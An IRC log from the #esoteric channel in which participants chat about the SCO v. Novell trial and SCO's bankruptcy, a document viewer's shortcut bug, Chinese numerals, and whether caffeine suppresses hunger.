:tombom!tombom@wikipedia/Tombomp JOIN :#esoteric < 1268938002 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :haha, in the SCO vs Novell trial, there was (second hand) Google's response to SCO asking them to buy a licence for Linux, which was along the lines of "you sent us a form letter, we asked for more details, you replied with another form letter, asking to arrange a meeting by '(insert date one week from date of letter)'. we assume you meant to put an actual date there..." < 1268938861 0 :werdan7!unknown@unknown.invalid QUIT :Ping timeout: 612 seconds < 1268939362 0 :werdan7!~w7@freenode/staff/wikimedia.werdan7 JOIN :#esoteric < 1268940593 0 :Gracenotes!~person@wikipedia/Gracenotes JOIN :#esoteric < 1268941105 0 :sudobus!unknown@unknown.invalid NICK :hiato < 1268941157 0 :Gracenotes!unknown@unknown.invalid PRIVMSG #esoteric :okay, I've made a huge change to my bash setup... I've made my prompt blue. :3 < 1268941411 0 :Sgeo__!unknown@unknown.invalid NICK :Sgeo < 1268942064 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric ::3 < 1268942243 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric ::4 < 1268942350 0 :kar8nga!unknown@unknown.invalid QUIT :Remote host closed the connection < 1268942371 0 :kar8nga!~kar8nga@jol13-1-82-66-176-74.fbx.proxad.net JOIN :#esoteric < 1268943407 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ais523, heh < 1268943414 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ais523, that must have been some time ago < 1268943452 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :yes, ages ago < 1268943468 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :I love that reply, though < 1268943475 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ah < 1268943475 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :and I'm not surprised Google didn't take them seriously < 1268943802 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ais523, well, nor am I < 1268943821 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ais523, but citation for that? < 1268943843 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :it's secondhand info; a reporter that Groklaw sent to cover the SCO vs Novell case < 1268943855 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :once the case is over, there'll likely be transcripts up, then you could get a much better citation < 1268943860 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :including exactly what Google said < 1268944452 0 :Wareya!unknown@unknown.invalid PRIVMSG #esoteric :discussion about genres of intellectual property? < 1268944459 0 :Wareya!unknown@unknown.invalid PRIVMSG #esoteric :or am I missing something? < 1268944484 0 :Wareya!unknown@unknown.invalid PRIVMSG #esoteric :or am I adding random shit into what I think's going on? < 1268944588 0 :oerjan!~oerjan@hagbart.nvg.ntnu.no JOIN :#esoteric < 1268944673 0 :Wareya!unknown@unknown.invalid PRIVMSG #esoteric :hey < 1268944733 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :hoy < 1268944780 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :Wareya: probably the third < 1268944793 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :I'm busy reading the SCO v Novell news at the moment < 1268944803 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :because a) I think it's an important court case, and b) it's hilarious < 1268944810 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :... wait, there's news? < 1268944812 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :As in, not olds? < 1268944819 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :Gregor: yes, the court case is going on right now < 1268944828 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :wtfbbq < 1268944836 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :after being decided twice on summary judgement, appealed and vacated < 1268944841 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :I thought that was long-over X_X < 1268944843 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :so now they're doing it again, but this time with a jury < 1268944867 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :and every day of the case, SCO has done something that ridiculously hurts their own case < 1268944874 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :worse every day than the day before < 1268944885 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :What's your preferred relevant news source? < 1268944900 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :I use http://groklaw.net which is sending its own reporters to the court < 1268944919 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :it seems to already have decided that SCO have no chance, though, which rather colours its opinions a bit < 1268944922 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :although I suspect it's right < 1268944987 0 :augur!unknown@unknown.invalid QUIT :Ping timeout: 268 seconds < 1268945006 0 :oerjan!unknown@unknown.invalid QUIT :Quit: leaving < 1268945118 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric : once the case is over, there'll likely be transcripts up, then you could get a much better citation < 1268945120 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :wait a second < 1268945124 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :isn't the case over? < 1268945129 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :since over a year or something < 1268945130 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: it was appealed < 1268945137 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :and isn't SCO bankrupt < 1268945139 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :yes, it is < 1268945148 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :Bankruptcy is not the end :P < 1268945148 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :but the lawyers were paid in advance < 1268945162 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Gregor, I thought it was. But apparently not so < 1268945173 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :to be precise, there's more than one form of bankruptcy < 1268945194 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :how strange < 1268945198 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :SCO is chapter-11 bankrupt, which means that the court oversees all their financial transactions, and if they go back up to positive money again they can continue on as a business < 1268945203 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :like "out of money" and "out of money"? < 1268945216 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ais523, I see < 1268945218 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :hm < 1268945223 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :chapter 11 is sort-of "temporarily out of money", where you can't afford to pay your debts /now/ but may in the near future < 1268945233 0 :Wareya!unknown@unknown.invalid PRIVMSG #esoteric :and that was < 1268945237 0 :Wareya!unknown@unknown.invalid PRIVMSG #esoteric :three years ago? < 1268945239 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :people are skeptical as to whether it's appropriate, though < 1268945242 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :Wareya: about that, I think < 1268945246 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :is there no time limit to it? < 1268945259 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :yes, but the deadline's been bumped several times, and even blatantly broken on occasion < 1268945267 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ais523, why < 1268945270 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :a while back the judge forcibly changed SCO's management < 1268945283 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :and is currently giving the new management some time to try to sort things out < 1268945287 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :mhm < 1268945293 0 :Wareya!unknown@unknown.invalid PRIVMSG #esoteric :Sure. < 1268945296 0 :Wareya!unknown@unknown.invalid PRIVMSG #esoteric :Let's go with that. < 1268945314 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :there have been all sorts of reasons for previous bumps < 1268945322 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :SCO nearly always came up with something ridiculous at the last minute < 1268945334 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :like a company wanting to give them lots of money or a loan, etc < 1268945339 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :but the details needed some time to sort out... < 1268945343 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :(and of course, the deals mostly fell through) < 1268945422 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :Gregor: has your head exploded sufficiently yet? < 1268945431 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :NEVARS < 1268945489 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :are you enjoying the info you're reading, at least? < 1268945511 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :it's full of SCO contradicting itself < 1268945540 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :I'm actually vaguely curious as to whether SCO or Novell will do a better job of demolishing SCO's case < 1268945740 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :You know, "Santa Cruz Operation" doesn't sound like something legitimate. < 1268945747 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :Which is a coincidence, of course. < 1268945776 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :But it sounds like some CIA plot to assassinate a Cuban leader. < 1268945784 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :uorygl: oh, you are confused; the company in question is "The SCO Group", "Santa Cruz Operation" is a /different/ company < 1268945814 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :there's a suspicion going around that they're doing this sort of thing deliberately; two of the companies that tried to give them loans were both startups with the initials SNCP < 1268945934 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :Hmm. It looks like Caldera acquired parts of Santa Cruz Operation and then renamed themselves after them. < 1268945956 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :Unless the SCO Group's SCO is a totally different SCO. < 1268945977 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :tSCOg = caldera < 1268945987 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :Right. < 1268945990 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :the other parts of the original SCO are currently owned by Oracle, via Sun < 1268946053 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :uorygl: Yeah, Caldera bought up SanCruzOp's UNIX business. < 1268946068 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :And thought they bought the rights to UNIX. < 1268946156 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :and novell claimed they never sold them to oldSCO in the first place < 1268946161 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :that's what the current trial's about < 1268946170 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :both Novell and SCO sued the other for claiming that they owned the copyrights to UNIX < 1268946244 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Novell's got the contract on their side. < 1268946291 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :SCO's argument is, I think, that the contract's not meant to say that < 1268946292 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Actually, Novell never sued just claiming "we own the copyrights and they're violating it", they just said "Yeah, the contract we've got here says they owe us a percentage of the profits from their UNIX sales. We'd like them to pay." < 1268946329 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :pikhq: that's a different case I think, just to add to the confusion < 1268946338 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :it was originally the same case, but the appeal sort-of split everything up < 1268946341 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :No, that's the countersuit. < 1268946352 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :hmm, ah ok < 1268946357 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :it doesn't seem to be being decided at the moment < 1268946362 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :maybe that one wasn't appealed < 1268946367 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :and so isn't included in the redo of the trial < 1268946368 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :It has already been decided. < 1268946373 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :yep, so has everything else < 1268946379 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :It's the reason for the bankruptcy. < 1268946382 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :the question is, what needs to be decided a second time? < 1268946426 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :They filed bankruptcy soley to delay the verdict from the countersuit... Said countersuit was about to be a reason for them to be bankrupt. < 1268946456 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Yes, they couldn't legitimately file bankruptcy until after the verdict, but they filed before the verdict to delay the verdict. < 1268946475 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :SCO has some *amazingly* amoral lawyers. < 1268946808 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :s/amoral/average/ < 1268947354 0 :augur!~augur@c-98-218-226-149.hsd1.dc.comcast.net JOIN :#esoteric < 1268947527 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric : tSCOg = caldera <--- ? < 1268947543 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: they keep renaming things to try to confuse people < 1268947557 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ais523, yes but that wasn't sed syntax was it? < 1268947559 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :try to get a straight answer from them as to whether UNIX is UnixWare or not < 1268947564 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: no, it wasn't < 1268947568 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ais523, then what was it < 1268947576 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :"The SCO Group" and "Caldera" are the same company < 1268947582 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :oh < 1268947586 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :it wasn't g as in global < 1268947589 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :and "The SCO Group" abbreviates to "tSCOg" when you want to be unambiguous < 1268947592 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: no < 1268947594 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :and t as in t < 1268947597 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :"dog" does not mean "do global"! < 1268947597 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :s/A// < 1268947977 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ais523, well, I didn't know what the t and g stood for < 1268948137 0 :adu!unknown@unknown.invalid QUIT :Quit: adu < 1268948506 0 :oklopol!~oklopol@a91-153-122-35.elisa-laajakaista.fi JOIN :#esoteric < 1268948831 0 :charlls!~charlls@201.226.222.130 JOIN :#esoteric < 1268949001 0 :charlesq__!unknown@unknown.invalid QUIT :Ping timeout: 276 seconds < 1268949298 0 :augur!unknown@unknown.invalid QUIT :Ping timeout: 265 seconds < 1268949781 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :gah, the evince problem doesn't even just happen with the mouse < 1268949791 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :I pressed alt f a, meaning save as, but evince doesn't have save as < 1268949801 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :and it overwrote the keyboard shortcut for open instead < 1268949809 0 :Wareya!unknown@unknown.invalid QUIT :Ping timeout: 256 seconds < 1268950071 0 :ais523!unknown@unknown.invalid QUIT :Remote host closed the connection < 1268950182 0 :charlls!unknown@unknown.invalid QUIT :Ping timeout: 276 seconds < 1268950236 0 :hiato!unknown@unknown.invalid QUIT :Quit: underflow < 1268950408 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :alt f a? < 1268950540 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :Alt f a < 1268950549 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :Alt f -> File < 1268950552 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :A -> save _A_s < 1268950750 0 :wareya!~wareya@cpe-74-70-140-214.nycap.res.rr.com JOIN :#esoteric < 1268950763 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :Ah. < 1268950822 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :Since the alise sighting counter is defunct, let's set it to an arbitrary value. < 1268950839 0 :uorygl!unknown@unknown.invalid TOPIC #esoteric :"Gwandocu (n): Extremely strong evidence, far beyond a reasonable doubt." | alise sighting counter: 100,000 | http://tunes.org/~nef/logs/esoteric/?C=M;O=D < 1268951091 0 :wareya!unknown@unknown.invalid PRIVMSG #esoteric :At least it's over nine thousand. < 1268951118 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :hm < 1268951144 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :heh < 1268951160 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :I suggest ais disable that editing thingy for menus < 1268953141 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Definitely over 九千. < 1268953160 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :that looks like a number < 1268953170 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :70 000? < 1268953174 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :no 90 000 < 1268953179 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :right? < 1268953182 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :No, 9,000. < 1268953191 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :90000 is 九万. < 1268953278 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :oh < 1268953312 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :And 70,000 is 七万. < 1268953321 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Chinese numerals are easy. :) < 1268953359 0 :Slereah!unknown@unknown.invalid PRIVMSG #esoteric :No they ain't < 1268953368 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Yes they are. < 1268953375 0 :Slereah!unknown@unknown.invalid PRIVMSG #esoteric :Unary is easy < 1268953409 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Nullary is easy. < 1268953419 0 :Slereah!unknown@unknown.invalid PRIVMSG #esoteric :Also < 1268953707 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :Nullary doesn't allow you to use any symbols! < 1268953715 0 :coppro!~coppro@unaffiliated/coppro JOIN :#esoteric < 1268953723 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :And every symbol you use has a negative-infinite amount of information! < 1268953745 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Yes. < 1268953746 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :>:D < 1268953747 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :Hmm, maybe you just need to send a negative-zero number of symbols and boom, your information. :P < 1268953761 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :You don't even need to come up with a code! < 1268953784 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :Because every symbol already has a meaning even though you've never assigned any meanings to any of them! < 1268954167 0 :Azstal!~asztal@host86-155-75-229.range86-155.btcentralplus.com JOIN :#esoteric < 1268954204 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION got a warning from Facebook
< 1268954257 0 :Asztal!unknown@unknown.invalid QUIT :Ping timeout: 265 seconds < 1268954266 0 :Azstal!unknown@unknown.invalid NICK :Asztal < 1268954472 0 :charlls!~charlls@201.226.222.130 JOIN :#esoteric < 1268954779 0 :kar8nga!unknown@unknown.invalid QUIT :Remote host closed the connection < 1268954988 0 :tombom_!tombom@wikipedia/Tombomp JOIN :#esoteric < 1268955097 0 :Ilari_!~user@2002:5870:32ae::1 JOIN :#esoteric < 1268955117 0 :Ilari!unknown@unknown.invalid QUIT :Quit: Reconnecting < 1268955128 0 :Ilari_!unknown@unknown.invalid NICK :Ilari < 1268955197 0 :oklopol!unknown@unknown.invalid QUIT :*.net *.split < 1268955198 0 :lament!unknown@unknown.invalid QUIT :*.net *.split < 1268955198 0 :sshc!unknown@unknown.invalid QUIT :*.net *.split < 1268955198 0 :sebbu!unknown@unknown.invalid QUIT :*.net *.split < 1268955253 0 :sshc!~sshc@unaffiliated/sshc JOIN :#esoteric < 1268955255 0 :tombom!unknown@unknown.invalid QUIT :Ping timeout: 260 seconds < 1268955259 0 :tombom_!unknown@unknown.invalid QUIT :Client Quit < 1268955412 0 :oklopol!~oklopol@a91-153-122-35.elisa-laajakaista.fi JOIN :#esoteric < 1268955412 0 :lament!~lament@S0106001b63f462cc.vc.shawcable.net JOIN :#esoteric < 1268955412 0 :sebbu!~sebbu@ADijon-152-1-2-59.w83-194.abo.wanadoo.fr JOIN :#esoteric < 1268955461 0 :Oranjer!~HP_Admini@adsl-71-7-92.cae.bellsouth.net JOIN :#esoteric < 1268955590 0 :charlesq__!~charlls@166.237.148.36 JOIN :#esoteric < 1268955608 0 :charlls!unknown@unknown.invalid QUIT :Read error: Connection reset by peer < 1268956018 0 :oklopol!unknown@unknown.invalid QUIT :*.net *.split < 1268956018 0 :lament!unknown@unknown.invalid QUIT :*.net *.split < 1268956018 0 :sebbu!unknown@unknown.invalid QUIT :*.net *.split < 1268956246 0 :oklopol!~oklopol@a91-153-122-35.elisa-laajakaista.fi JOIN :#esoteric < 1268956246 0 :lament!~lament@S0106001b63f462cc.vc.shawcable.net JOIN :#esoteric < 1268956246 0 :sebbu!~sebbu@ADijon-152-1-2-59.w83-194.abo.wanadoo.fr JOIN :#esoteric < 1268956354 0 :BeholdMyGlory_!~behold@d83-183-181-73.cust.tele2.se JOIN :#esoteric < 1268956391 0 :BeholdMyGlory_!unknown@unknown.invalid QUIT :Changing host < 1268956391 0 :BeholdMyGlory_!~behold@unaffiliated/beholdmyglory JOIN :#esoteric < 1268956397 0 :BeholdMyGlory!unknown@unknown.invalid QUIT :Disconnected by services < 1268956400 0 :BeholdMyGlory_!unknown@unknown.invalid NICK :BeholdMyGlory < 1268956633 0 :BeholdMyGlory!unknown@unknown.invalid QUIT :*.net *.split < 1268956633 0 :oklopol!unknown@unknown.invalid QUIT :*.net *.split < 1268956634 0 :lament!unknown@unknown.invalid QUIT :*.net *.split < 1268956634 0 :sebbu!unknown@unknown.invalid QUIT :*.net *.split < 1268956637 0 :charlesq__!unknown@unknown.invalid QUIT :Quit: Saliendo < 1268956800 0 :oklopol!~oklopol@a91-153-122-35.elisa-laajakaista.fi JOIN :#esoteric < 1268956800 0 :lament!~lament@S0106001b63f462cc.vc.shawcable.net JOIN :#esoteric < 1268956800 0 :sebbu!~sebbu@ADijon-152-1-2-59.w83-194.abo.wanadoo.fr JOIN :#esoteric < 1268957226 0 :oerjan!~oerjan@hagbart.nvg.ntnu.no JOIN :#esoteric < 1268957246 0 :Leonidas!unknown@unknown.invalid QUIT :Ping timeout: 264 seconds < 1268957248 0 :Leonidas!~Leonidas@unaffiliated/leonidas JOIN :#esoteric < 1268957271 0 :fax!unknown@unknown.invalid QUIT :Quit: Lost terminal < 1268957342 0 :FireFly!unknown@unknown.invalid QUIT :Quit: Leaving < 1268957584 0 :comex_!comex@c-98-210-192-54.hsd1.ca.comcast.net JOIN :#esoteric < 1268957653 0 :jix_!~jix@cyb0rg.org JOIN :#esoteric < 1268957683 0 :EgoBot!unknown@unknown.invalid QUIT :Ping timeout: 240 seconds < 1268957684 0 :comex!unknown@unknown.invalid QUIT :Ping timeout: 240 seconds < 1268957684 0 :jix!unknown@unknown.invalid QUIT :Ping timeout: 240 seconds < 1268957710 0 :EgoBot!~EgoBot@codu.xen.prgmr.com JOIN :#esoteric < 1268957756 0 :oerjan!unknown@unknown.invalid TOPIC #esoteric :"Gwandocu (n): Extremely strong evidence, far beyond a reasonable doubt." | alise sighting counter: A(g_64,g_64) | http://tunes.org/~nef/logs/esoteric/?C=M;O=D < 1268958261 0 :Gregor!unknown@unknown.invalid QUIT :Ping timeout: 245 seconds < 1268958294 0 :Gregor!~gregor@65.183.185.22 JOIN :#esoteric < 1268958305 0 :werdan7_!~w7@freenode/staff/wikimedia.werdan7 JOIN :#esoteric < 1268958357 0 :Leonidas_!~Leonidas@unaffiliated/leonidas JOIN :#esoteric < 1268958422 0 :uorygl_!~Warrigal@rrcs-70-63-156-144.midsouth.biz.rr.com JOIN :#esoteric < 1268958447 0 :werdan7!unknown@unknown.invalid QUIT :Remote host closed the connection < 1268958448 0 :Leonidas!unknown@unknown.invalid QUIT :Ping timeout: 264 seconds < 1268958448 0 :uorygl!unknown@unknown.invalid QUIT :Ping timeout: 264 seconds < 1268959653 0 :werdan7_!unknown@unknown.invalid NICK :werdan7 < 1268962345 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :"As the only entrant in the category, Cougar Energy Shot for Women White is both the best and the worst energy drink for women of 2009. I tend to lean more toward it being the worst." < 1268962389 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :the glass is half empty, and that is a _good_ thing in this case. < 1268962975 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :I talk about energy drinks, and my dad suggests trying caffeine pills < 1268963025 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :it's just a phase < 1268963038 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :? < 1268963050 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :solid, that is < 1268963072 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :Ah, lol < 1268963082 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :Pathetic that I needed the joke explained to me :( < 1268963102 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :mwahaha < 1268963326 0 :uorygl_!unknown@unknown.invalid PRIVMSG #esoteric :Nah, it's actually not a very clear joke. >.> < 1268963340 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :uorygl_: shh < 1268963404 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION considered the "explanation" the punchline, actually
< 1268963493 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Sgeo: ? < 1268963519 0 :cheater2!unknown@unknown.invalid QUIT :Ping timeout: 240 seconds < 1268963813 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :"As the only entrant in the category, Cougar Energy Shot for Women White is both the best and the worst energy drink for women of 2009. I tend to lean more toward it being the worst." < 1268963817 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :erm, wrong paste < 1268963825 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :"What caffeine does is make a person lose water, which in effect makes a person drink plenty of water to reciprocate, thus minimizing the feeling of hunger" < 1268963837 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :I don't think I can afford to have my hunger lessened :( < 1268963935 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :*facepalm* < 1268963977 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION dislikes energy drinks, including caffeine, generally
< 1268964246 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :oh because you are thin? < 1268964298 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :this is so cool, i've been playing my guitar since you said the caffeine and the hunger thing, and i was reading those sentences all that time, then the same second i stop playing i suddenly understand what the sentences mean < 1268964351 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :pikhq, hm? < 1268965192 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Sgeo: Caffeine does not work that way. < 1268965333 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :Blame http://www.howtodothings.com/health-fitness/how-to-use-caffeine-pills-safely < 1268965397 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :I shall. < 1268965490 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :So how does it work? < 1268965511 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :And why should I trust an Internet stranger [who admittedly I'm friends with] over an Internet stranger, one way or the other? < 1268965579 0 :Asztal!unknown@unknown.invalid QUIT :Ping timeout: 246 seconds < 1268965585 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Caffeine is a mild diuretic, causing people to be likely to urinate more. Most caffeine delivery forms contain sufficient water to compensate for this. < 1268965618 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Also, water does not minimise the feeling of hunger much; goes through the digestive tract too quickly. < 1268965688 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :Ah < 1268965702 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :I always add a couple drops of cyanide to my coffee to negate the urinating effect; works splendidly. < 1268965710 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :Caffeine pills wouldn't contain sufficient water.. < 1268965728 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :Doubt that that's enough of a reason to go with energy drinks though < 1268965735 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :I suppose caffeine could *possibly* stimulate you enough to cause a mild weight loss affect. Still, it ain't going to do much. < 1268965762 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Caffeine pills don't have sufficient flavor, IMO. < 1268965796 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :I could always drink a sod.. wait, no. If I take one form of caffeine in a day, I will _not_ take another < 1268965818 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION takes a rather absurd amount of caffeine.
